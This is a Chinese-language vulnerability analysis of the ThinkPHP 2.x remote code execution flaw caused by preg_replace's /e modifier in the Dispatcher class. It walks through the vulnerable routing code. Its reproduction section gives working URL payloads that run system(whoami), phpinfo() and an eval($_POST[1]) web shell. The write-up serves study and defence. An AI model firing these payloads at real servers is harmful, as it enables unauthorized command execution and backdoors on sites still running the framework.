漏洞概述 ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)' .$depr .'([^' .$depr .'\/]+)@e' , '$var[\'\\1\']="\\2";' , implode($depr ,$paths ));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
漏洞复现 URL传参 /index.php?s=/index/index/xxx/${system(whoami)} /index.php?s=a/b/c/${@print(eval($_POST[1]))}
漏洞分析 文件位置
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php
这个是thinkphp 内置的Dispacher类
,用来完成 URL解析、路由和调度
thinkphp MVC框架请求都是根据路由来决定的。而Dispatcher.class.php就是规定如何来解析路由的这样一个类
类名为`Dispatcher`,class Dispatcher extends Think 里面的方法有: static public function dispatch() URL映射到控制器 public static function getPathInfo() 获得服务器的PATH_INFO信息 static public function routerCheck() 路由检测 static private function parseUrl($route) static private function getModule($var) 获得实际的模块名称 static private function getGroup($var) 获得实际的分组名称
有漏洞的代码位置在static public function dispatch(),URL映射控制器,也就是URL访问的路径是映射到哪个控制器下。
就是说url控制器会以数组形式获取url中输入的变量
代码块 self ::getPathInfo();if (!self ::routerCheck()){ $paths = explode($depr ,trim($_SERVER ['PATH_INFO' ],'/' )); $var = array (); if (C('APP_GROUP_LIST' ) && !isset ($_GET [C('VAR_GROUP' )])){ $var [C('VAR_GROUP' )] = in_array(strtolower($paths [0 ]),explode(',' ,strtolower(C('APP_GROUP_LIST' ))))? array_shift($paths ) : '' ; if (C('APP_GROUP_DENY' ) && in_array(strtolower($var [C('VAR_GROUP' )]),explode(',' ,strtolower(C('APP_GROUP_DENY' ))))) { exit ; } } if (!isset ($_GET [C('VAR_MODULE' )])) { $var [C('VAR_MODULE' )] = array_shift($paths ); } $var [C('VAR_ACTION' )] = array_shift($paths ); $res = preg_replace('@(\w+)' .$depr .'([^' .$depr .'\/]+)@e' , '$var[\'\\1\']="\\2";' , implode($depr ,$paths )); $_GET = array_merge($var ,$_GET ); }
前置知识 Preg_replace
preg_replace('正则规则','替换字符','目标字符')
/e 配合函数preg_replace()使用, 可以把匹配来的第二个参数字符串当作正则表达式执行;
这个函数5.2~5.6都还是可以执行的,但是到了php 版本7 以上,就已经都不支持/e修饰符了。
(\w+)/([^/]+)
正则的意思是取每2个参数
$var[‘\1’]=”\2”;
是对数组的操作,将之前第一个值作为新数组的键,将第二个值作为新数组的值
这里也是关键第二个参数是用双引号进行包裹的而双引号中的php变量语法又是能够被解析执行的
array_shift()
删除数组中的第一个元素(red),并返回被删除元素的值
分析语句: if (!isset ($_GET [C('VAR_MODULE' )])) { $var [C('VAR_MODULE' )] = array_shift($paths ); } $var [C('VAR_ACTION' )] = array_shift($paths );$res =preg_replace('@(\w+)' .$depr .'([^' .$depr .'\/]+)@e' ,'$var[\'\\1\']="\\2";' , implode($depr ,$paths )); $_GET = array_merge($var ,$_GET );
拿一个payload进行说明:
/index.php?s=a/b/c/${phpinfo()}
首先删除数组中的前两个值,payload变为:c/${phpinfo()}
经过implode变为字符串再经过\w+,存入到var的键和值中,由于/e模式,执行了值中的${phpinfo()}
实行了命令执行
var来自于paths:
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/')); 即来自url中